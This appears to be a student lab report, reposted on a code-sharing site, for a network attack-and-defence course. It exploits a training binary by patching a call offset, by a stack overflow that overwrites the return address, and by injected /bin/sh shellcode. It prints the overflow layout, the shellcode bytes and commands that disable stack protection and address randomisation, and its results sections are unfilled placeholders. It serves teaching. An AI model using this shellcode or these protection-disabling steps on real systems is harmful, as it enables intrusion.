ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

#20192421 2021-2022-2 《网络与系统攻防技术》实验一实验报告

2022-03-26 23:31:58  阅读:163  来源: 互联网

标签:getShell 函数 地址 20192421 2022 字节 机器指令 输入 2021


1.实验内容

我们实践的目标就是想办法利用pwn1这个文件实现以下三个实践内容:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode

2.实验过程

2.1 实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.2 实验步骤

(1) 直接修改机器指令,改变程序执行流程

下载文件pwn1并修改文件名为学号,接下来对文件进行反汇编

#mv pwn1 pwn20192421
#objdump -d -pwn20192421 | more

其中有三个函数需要关注,分别为main(主函数)foo函数和getshell

根据上图结果,我们可以得出结果,main函数中,汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”,e8即“跳转”,CPU将执行地址为“EIP + d7ffffff”处指令。
而EIP的值是下条指令的地址,即80484ba,“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,所以foo函数的地址为0x8048491。

现在我们需要main调用getShell函数,则只要修改“d7ffffff”为,"getShell-80484ba"对应的补码c3ffffff,也就是需要把“d7”改为“c3”。
对应指令为:

vi pwn20192421					#进入目标文件
:%!xxd							#转换为16进制
/d7								#查找要修改的内容
rcr3							#用r将“d7”修改为c3
:%!xxd -r 						#转换16进制为原格式
:wq								#保存退出
objdump -d pwn20192421 | more	#反汇编查修改是否正确

修改完成后,函数汇编指令如图:

(2) 通过构造输入参数,造成BOF攻击,改变程序执行流

<1> 反汇编,了解程序的基本功能

文件反汇编结果如下图

经分析foo函数中分配给输入字符的空间为0x1c,即28个字节,若输入字符大于这个数则可能会覆盖EBP、EIP,影响程序的正常执行。EBP所占大小为4个字节,即第33个字节会覆盖到EIP的位置。只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。

<2> 确认输入字符串哪几个字符会覆盖到返回地址

使用gdb进行调试,输入“r”运行代码
输入长度为36字节的字符串“1111111122222222333333334444444412345678”
查看当前所有寄存器的值,其中EIP的值为“0x34333231”,对应字符“4321”,正是我们输入的第33~36个字节的内容。如下图:

由上图结果可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那只要将这四个字节的内容替换为getShell的内存地址“804847d”,pwn20192421就会运行getShell。

<3> 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。由之前的结果可以得知我们应当使用小端字节序输入getShell函数的首地址,即7d840408,也即为“32个字符+\x7d\x84\x04\x08”。

<4> 构造输入字符串

由于\x7d\x84\x04\x08无法由键盘输入,所以使用perl生成字符串放到input文件中,再用管道符|将文件input的内容输入pwn20192421。

(2) 注入Shellcode并执行

<1> 准备一段Shellcode

shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

这里使用许同学的Shellcode入门中的Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

<2> 准备工作

开始之前,我们需要再做一些准备,命令如下:

apt-get install execstack						#安装execstack
execstack -s pwn20192415   						#设置堆栈可执行 
echo "0" > /proc/sys/kernel/randomize_va_space 	#关闭地址随机化

3.问题及解决方案

  • 问题1:XXXXXX
  • 问题1解决方案:XXXXXX
  • 问题2:XXXXXX
  • 问题2解决方案:XXXXXX - ...

4.学习感悟、思考等

xxx xxx

参考资料

标签:getShell,函数,地址,20192421,2022,字节,机器指令,输入,2021
来源: https://www.cnblogs.com/zyh12345/p/16061492.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有